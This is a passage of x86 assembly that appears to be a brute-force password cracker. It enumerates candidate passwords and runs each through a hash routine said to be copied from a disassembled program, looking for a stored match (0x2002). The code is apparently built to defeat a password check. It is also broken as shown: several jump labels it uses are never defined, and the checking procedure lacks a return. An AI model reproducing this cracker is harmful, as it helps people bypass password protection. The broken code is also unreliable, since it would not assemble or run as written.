     inc BYTE PTR [ebx+2]
     cmp BYTE PTR [ebx+2],dl
     jne tryPassword

     mov BYTE PTR [ebx+2],cl
     inc BYTE PTR [ebx+3]
     cmp BYTE PTR [ebx+3],dl
     jne tryPassword

     mov BYTE PTR [ebx+3],cl
     inc BYTE PTR [ebx+4]
     cmp BYTE PTR [ebx+4],dl
     je end_main
     jmp tryPassword

     xor eax, eax
     xor ebx, ebx
     xor ecx, ecx
     xor edx, edx
     mov cl, 10h
     xor dx, dx
     mov esi, offset temp_passwd
     call checkPWD
     dec cl
     jnz short enc_loop
     cmp dx, word ptr ds:password_ok ;0x2002
     jz short key_found
     ;print "Wrong password",10,10
     ;mov ebx, offset temp_passwd
     ;print ebx,13,10
     jmp genNewPassword

     print "Found!:",13,10
     mov ebx, offset temp_passwd
     print ebx,13,10
     jmp genNewPassword


main endp  

; obtained from Disassembling
checkPWD proc near
     push ax
     push cx
     mov ah, al
     xor al, al
     xor dx, ax
     mov cl, 8
  loc_372: ; CODE XREF: sub_368+14 j
     shl dx, 1
     jnb short loc_37A
     xor dx, 1975h
  loc_37A: ; CODE XREF: sub_368+C j
     dec cl
     jnz short loc_372
     pop cx
     pop ax
checkPWD endp
end start